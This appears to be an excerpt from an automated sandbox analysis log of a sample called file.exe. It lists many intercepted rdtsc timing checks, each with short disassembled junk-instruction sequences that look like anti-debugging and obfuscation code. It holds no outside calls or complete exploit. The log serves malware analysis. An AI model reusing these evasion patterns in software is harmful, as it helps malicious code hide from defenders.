Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF13 second address: 96CF24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF24 second address: 96CF2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF2A second address: 96CF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CF2E second address: 96CF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F4EBC76DA04h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F4EBC76D9F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9715B2 second address: 9715C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4EBCE5EB86h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9715C1 second address: 9715CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9715CC second address: 9715DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 js 00007F4EBCE5EB86h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892064 second address: 89206A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89206A second address: 892094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB97h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F4EBCE5EB86h 0x00000012 jne 00007F4EBCE5EB86h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892094 second address: 89209A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D4F second address: 976D61 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F4EBCE5EB92h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D61 second address: 976D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D67 second address: 976D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4EBCE5EB96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D84 second address: 976D9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F4EBC76D9FDh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976D9B second address: 976D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976B92 second address: 976B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976B96 second address: 976BBB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jns 00007F4EBCE5EB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4EBCE5EB93h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BBB second address: 976BBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BBF second address: 976BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F4EBCE5EB94h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4EBCE5EB95h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BF2 second address: 976BFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976BFC second address: 976C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978CFF second address: 978D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978D04 second address: 978D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978D0A second address: 978D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978D14 second address: 978D31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F4EBCE5EB8Bh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978D31 second address: 978D40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FAh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FA86 second address: 97FA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD01 second address: 97FD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76D9FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD0F second address: 97FD2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB91h 0x00000007 jbe 00007F4EBCE5EB86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD2D second address: 97FD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD33 second address: 97FD38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD38 second address: 97FD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F4EBC76DA04h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD53 second address: 97FD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9802FF second address: 980325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4EBC76D9F6h 0x0000000a popad 0x0000000b je 00007F4EBC76DA0Bh 0x00000011 jmp 00007F4EBC76DA05h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980325 second address: 980344 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4EBCE5EB8Ch 0x00000008 jnp 00007F4EBCE5EB86h 0x0000000e pushad 0x0000000f jmp 00007F4EBCE5EB8Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980344 second address: 98034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98034A second address: 98035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jng 00007F4EBCE5EB86h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98035B second address: 980364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9804AC second address: 9804CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9804CD second address: 9804D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9804D3 second address: 9804E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 js 00007F4EBCE5EB86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9857FD second address: 985807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985807 second address: 98583C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4EBCE5EB98h 0x0000000c jmp 00007F4EBCE5EB94h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98597B second address: 985981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985981 second address: 9859A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4EBCE5EB97h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9859A0 second address: 9859BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9859BC second address: 9859C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988C2D second address: 988C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76DA05h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jmp 00007F4EBC76DA09h 0x00000011 js 00007F4EBC76D9FCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988C6A second address: 988C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F4EBCE5EB95h 0x0000000d jmp 00007F4EBCE5EB8Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988C86 second address: 988C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994499 second address: 9944BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F4EBCE5EB8Ch 0x0000000b popad 0x0000000c jnc 00007F4EBCE5EB92h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A43A4 second address: 9A43A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8EC9 second address: 9A8EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4EBCE5EB8Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8EDE second address: 9A8EF0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4EBC76D9F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8EF0 second address: 9A8EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8EF4 second address: 9A8EFE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8EFE second address: 9A8F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB98h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE23 second address: 9AAE38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA01h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE38 second address: 9AAE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE3E second address: 9AAE43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE43 second address: 9AAE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE49 second address: 9AAE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE51 second address: 9AAE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4EBCE5EB86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4253 second address: 9C4260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F4EBC76D9F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4260 second address: 9C4266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4266 second address: 9C426A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C426A second address: 9C426E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C426E second address: 9C4274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4274 second address: 9C427E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3228 second address: 9C323A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007F4EBC76D9F6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C350A second address: 9C3510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3510 second address: 9C351A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C351A second address: 9C3533 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4EBCE5EB8Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3533 second address: 9C353D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4EBC76D9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C353D second address: 9C3556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4EBCE5EB8Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3556 second address: 9C355E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C39C4 second address: 9C39D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F4EBCE5EB86h 0x0000000d je 00007F4EBCE5EB86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C39D7 second address: 9C39DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3CBE second address: 9C3CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3CC2 second address: 9C3CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3CC6 second address: 9C3CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C3CCC second address: 9C3CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C87E2 second address: 9C87ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4EBCE5EB86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA1A5 second address: 9CA1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jng 00007F4EBC76D9F6h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA1BF second address: 9CA1C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBE15 second address: 9CBE1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBE1C second address: 9CBE24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBE24 second address: 9CBE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0123 second address: 4AE017D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F4EBCE5EB90h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov di, D6F0h 0x0000001a pushfd 0x0000001b jmp 00007F4EBCE5EB99h 0x00000020 and ch, 00000076h 0x00000023 jmp 00007F4EBCE5EB91h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE017D second address: 4AE01C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F4EBC76DA03h 0x0000000b add eax, 68C0E9AEh 0x00000011 jmp 00007F4EBC76DA09h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov edx, 68C4B73Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B101FB second address: 4B10218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4EBCE5EB90h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B10218 second address: 4B10270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F4EBC76DA06h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007F4EBC76D9FDh 0x00000019 pop ecx 0x0000001a pushfd 0x0000001b jmp 00007F4EBC76DA01h 0x00000020 jmp 00007F4EBC76D9FBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA00FC second address: 4AA0111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0111 second address: 4AA0121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76D9FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0121 second address: 4AA0145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov cx, 7F1Bh 0x00000012 movzx eax, bx 0x00000015 popad 0x00000016 push dword ptr [ebp+04h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
